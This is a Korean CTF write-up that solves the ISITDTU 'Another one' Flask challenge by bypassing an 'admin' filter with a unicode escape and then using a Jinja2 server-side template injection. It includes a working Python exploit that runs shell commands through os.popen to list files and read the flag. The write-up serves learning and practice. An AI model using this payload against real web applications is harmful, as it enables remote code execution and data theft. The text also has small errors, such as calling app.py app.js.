CTF

[ISITDTU CTF] Another one Write-Up

wermut 2025. 2. 27. 01:15

 

Another_one_dist.zip
0.01MB

 

문제 확인, 목표설정

 

root 경로에 접근한 모습

 

문제에 접근하면 먼저 token이 없단 문자와 함께 더 진행이 되지 않는다.

문제코드 app.py를 확인해 보면 /login, /register, /render 페이지가 존재하고 있음을 알 수 있다.

 

/register로 접근해 등록하고 /login에서 로그인을 마치

 

index 페이지로 정상적인 접근이 가능하다.

 

 

 

 

이때의 쿠키를 확인하면 jwt 형태로 쿠키가 생성되며 role이 user임을 확인 가능하다.

@app.route('/render', methods=['POST'])
def dynamic_template():
    token = request.cookies.get('jwt_token')
    if token:
        try:
            decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            role = decoded.get('role')

            if role != "admin":
                return jsonify(message="Admin only"), 403

            data = request.get_json()
            template = data.get("template")
            rendered_template = render_template_string(template)
            
            return jsonify(message="Done")

        except jwt.ExpiredSignatureError:
            return jsonify(message="Token has expired."), 401
        except jwt.InvalidTokenError:
            return jsonify(message="Invalid JWT."), 401
        except Exception as e:
            return jsonify(message=str(e)), 500
    else:
        return jsonify(message="Where is your token?"), 401

 

문제 코드에선 role이 admin인지 검사하는 코드가 있는 것으로 보아 role을 admin으로 변조해 주는 것이

이 문제에서 최종적인 목표인 듯하다.

 

 


 

 

취약점 분석 및 공격

 

//app.py

@app.route('/render', methods=['POST'])
def dynamic_template():
    token = request.cookies.get('jwt_token')
    if token:
        try:
            decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            role = decoded.get('role')

            if role != "admin":
                return jsonify(message="Admin only"), 403

            data = request.get_json()
            template = data.get("template")
            rendered_template = render_template_string(template)
            
            return jsonify(message="Done")

        except jwt.ExpiredSignatureError:
            return jsonify(message="Token has expired."), 401
        except jwt.InvalidTokenError:
            return jsonify(message="Invalid JWT."), 401
        except Exception as e:
            return jsonify(message=str(e)), 500
    else:
        return jsonify(message="Where is your token?"), 401

 

위 /render 경로의 코드에서

 

rendered_template = render_template_string(template)

 

이러한 코드가 있음을 확인 가능하다. 이 코드를 검색해 보면 

 

 

바로 취약점에 관한 내용이 있는 것을 확인 가능하다. render_template_string 함수는 템플릿 문자열을

직접 렌더링 하는 함수인데, 여기서 유저가 해당 함수의 인자값을 변조 가능하기에 render_template 함수를 대신 사용하는

방식을 사용해야 한다.

 

 render_template_string 함수를 통해 발생하는 이 취약점을 SSTI (Server Side Template Injection) 취약점이라 한다.

 

// /templates/index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Index</title>
</head>
<body>
    <h1>Welcome !</h1>
    {% if username %}
        <p>Hello, {{ username }}!</p>
    {% endif %}
    <p>This is a simple index page.</p>
</body>
</html>

 

여기서 템플릿이란  index.html 페이지를 확인해 보면 {% - %} 형태의 코드를 확인 가능한데, 이를 템플릿이라 한다.

 

app.js의 코드에서 볼 수 있듯이 SSTI 공격을 수행하기 위해선 먼저 role이 admin 인 계정을 만들 필요가 있다.

 

 

admin 권한의 계정을 생성하기 위해 버프스위트로 회원가입 시에 요청을 확인했을 때,

role이 user로 설정되어 서버로 전달되는 것을 확인 가능하다.

 

따라서 role을 변조해 admin으로 값을 전달할 수 있다면 admin 권한의 계정을 생성하는 것이 가능할 것으로 보이지만

 

해당 과정을 통해 만든 계정으론 정상적으로 로그인이 진행되지 않는 모습을 볼 수 있다.

 

//app.js

@app.route('/register', methods=['POST'])
def register():
    json_data = request.data
    if "admin" in json_data:
        return jsonify(message="Blocked!")
    data = ujson.loads(json_data)
    username = data.get('username')
    password = data.get('password')
    role = data.get('role')
    
    if role !="admin" and role != "user":
        return jsonify(message="Never heard about that role!")
    
    if username == "" or password == "" or role == "":
        return jsonify(messaage="Lack of input")
    
    if register_db(connection, username, password, role):
        return jsonify(message="User registered successfully."), 201
    else:
        return jsonify(message="Registration failed!"), 400

 

문제의 원인은 app.js의 /register 코드에서 확인이 가능한데, 

 

    json_data = request.data
    if "admin" in json_data:
        return jsonify(message="Blocked!")

 

이 부분에서 전달되는 값에 admin 이란 문자열이 존재하면 정상적으로 진행되지 않는 것으로 보인다.

따라서 이런 필터링을 우회해 admin을 입력해 주면 admin role의 계정을 생성하는 것이 가능할 것이다. 

 

 

따라서 유니코드 이스케이프 시퀀스를 사용해 a를 의미하는 0061로 우회해 주면 

서버로는 admin이란 정상적인 값이 보내지게 된다.

 

따라서 위 형태로 값을 변조해 입력해 주면 정상적으로 로그인이 가능하다.

 

 

이때 생긴 쿠키를 확인해 보면 admin 권한으로 로그인된 모습을 확인 가능하며

만들어진 쿠키를 통해 루트 경로에서 SSTI 공격이 가능하다.

 

import requests

URL = "[ IP ]:8082/"

s = requests.session()
json = """{"username": "user", "password": "pass", "role": "\u0061dmin"}"""
r = s.post(URL + "register", data=json)
r = s.post(URL + "login", json={
    "username": "user",
    "password": "pass"
})
s.cookies["jwt_token"] = r.json()["message"]

command = 'ls'
payload = f"""
{{{{ config.__class__.from_envvar.__globals__.__builtins__.int(config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen('{command}').read()) }}}}
"""
r = s.post(URL + "render", json={
    "template": payload
})
print(r.text)

 

이렇게 페이로드를 작성해 페이로드를 보내면 

 

{"message":"invalid literal for int() with base 10: 'Dockerfile\\napp.py\\ndatabase.db\\ndatabase.py\\ndatabase.pyc\\ndocker-compose.yml\\nhgsf4 sn14 jla\\nrequirements.txt\\nstatic\\ntemplates\\n'"}

 

이런 내용이 반환되는 것을 볼 수 있다.

 

config.__class__. from_envvar.__globals__.__builtins__.int(config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen('{command}').read()) 의미

1. config.__class__.from_envvar
config.__class__에 정의된 from_envvar를 의미한다.

2. __globals__
함수 또는 메서드가 실행되는 전역 이름 공간. 즉,  from_envvar 메서드의 전역 네임스 스페이스를 참조한다.

3. __builtins__
Python의 내장 함수 및 객체들이 저장된 네임 스페이스로 int, open 등에 접근이 가능하다.

4. int() 
이후 실행될 os.popen으로 실행된 쉘 명령의 출력을 정수로 반환한다.

5. __import__("os")
Python에서 모듈을 불러오는 함수이며 os 모듈을 가져오는 역할을 한다.
os 모듈의 os.popen은 명령을 실행하고 그 출력을 반환하게 된다.

6. os.popen('{command}'). read()
{command} 자리에 명령어가 들어가면 그것을 실행하고. read()를 통해 읽는다.

 

출력된 결과를 확인했을 때 flag.txt 가 없는 모습을 확인할 수 있는데,

 

//Dockerfile

RUN rm /usr/bin/wget && RANDOM_NAME=$(head /dev/urandom | tr -dc a-z0-9 | head -c 12) && \
    mv /app/flag.txt /app/$RANDOM_NAME

 

도커파일에서 flag.txt가 랜덤 한 숫자들로 암호화되어서 발생하는 문제였다.

따라서 암호회된 형태의 hgsf4 sn14 jla 파일이 flag.txt 임을 추측 가능하고,

 

이제 해당 파일의 내용을 읽어오는 코드를 작성하면 flag를 가져오는 것이 가능하다.

 

import requests

URL = "[ IP ]:8082/"

s = requests.session()
json = """{"username": "user", "password": "pass", "role": "\u0061dmin"}"""
r = s.post(URL + "register", data=json)
r = s.post(URL + "login", json={
    "username": "user",
    "password": "pass"
})
s.cookies["jwt_token"] = r.json()["message"]

#command = 'ls'
command = 'cat hgsf4sn14jla'
payload = f"""
{{{{ config.__class__.from_envvar.__globals__.__builtins__.int(config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen('{command}').read()) }}}}
"""
r = s.post(URL + "render", json={
    "template": payload
})
print(r.text)

 

 

위 코드를 실행시키면 flag가 출력되는 것을 확인 가능하다.

도커 환경이 아니었다면 출력된 test_flag 대신 정상적인 flag가 출력되었을 것이다.

'CTF' 카테고리의 다른 글

[CodeGate 2023] CODEGATE Music Player  (0) 2025.03.21
[CodeGate 2023] Calculator  (0) 2025.03.20
[hkcert] Custom-Web-Server(1) Write Up  (0) 2025.02.27
[hkcert] Mystiz's Mini CTF (2) Write Up  (0) 2025.02.27
[IrisCTF] Political  (0) 2025.02.27